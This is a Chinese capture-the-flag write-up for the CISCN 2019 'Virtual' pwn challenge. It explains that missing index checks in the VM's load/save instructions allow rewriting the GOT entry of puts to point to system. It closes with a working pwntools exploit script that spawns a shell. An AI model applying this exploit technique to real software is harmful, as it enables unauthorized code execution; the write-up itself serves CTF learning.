ciscn2019-Virtual

介绍

国赛2019的一道题,虚拟了stack和buffer,所以利用方式比较神奇。

分析程序

程序模拟了三个部分text代码段,stack栈,buffer缓冲区。

其中text和stack是用户自定义的。

代码有以下几种:

  1. push 将stack上值取出放入buffer中

  2. pop 将buffer上值取出放入stack中

  3. add/sub/mul/div 从buffer取出两个值,相加/减/乘/除后放回buffer中

  4. load 从buffer中读入一个值作为index,将buffer中这个index所对应位置的值写入buffer中

  5. save 从buffer中读入一个值作为index,再从buffer中读一个值,写入buffer中这个index所对应的位置

利用方式

很明显的看出load和save的时候,没有对index做检查,所以可以造成buffer周围的任意读写,我们分一下几步来完成攻击。

  1. 修改模拟stack的位置到got表上。
  2. push,将got上puts函数的地址的值放入buffer中
  3. sub,将puts函数的地址改为system函数的地址
  4. pop,将system函数的地址写回got表上puts的位置
  5. program name设为’/bin/sh’,输出程序名的时候即可getshell

稍微解释一下exp中的攻击指令和stack上的值。
push 将stack上第一个值(puts和system的偏移)放入buffer中
push 将stack上第二个值(got表中puts函数的位置)放入buffer中
push 将stack上第三个值(buffer相对于模拟的stack的地址的偏移,因为堆上面是保存了模拟的stack的地址的)放入buffer中
save 将相对于模拟stack的偏移读出,再将got表位置读出,然后将模拟的stack的地址改为got表,现在模拟的stack就被改到got表上了
push 将模拟栈上的值写入buffer中,因为栈现在在got表上,所以会将puts的地址写到buffer上
sub 将puts和system的偏移读出,将puts的地址读出,做减法,再写回buffer上,此时buffer上就只有一个system的地址
pop 读出buffer上system的地址,写会模拟stack上,因为模拟stack现在在got表上,所以将puts的地址改为了system的地址

模拟stack上第四个值为9999是因为push是会检查栈是否为空。检查方式为读入模拟stack中数据时会有一个变量记录一共读入了多少个数据,每次push都会减1,所以我们只要多读入几个数据即可让这个变量不减为0。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

binary = './pwn'
lib = '/lib/x86_64-linux-gnu/libc-2.23.so'
p = process(binary)
elf = ELF(binary)
libc = ELF(lib)

p.sendline('/bin/sh')
p.sendline('push push push save push sub pop')

offset = libc.symbols['_IO_puts'] - libc.symbols['system']

p.sendline('%d %d -208 99999' % (offset, elf.got['puts']))

p.interactive()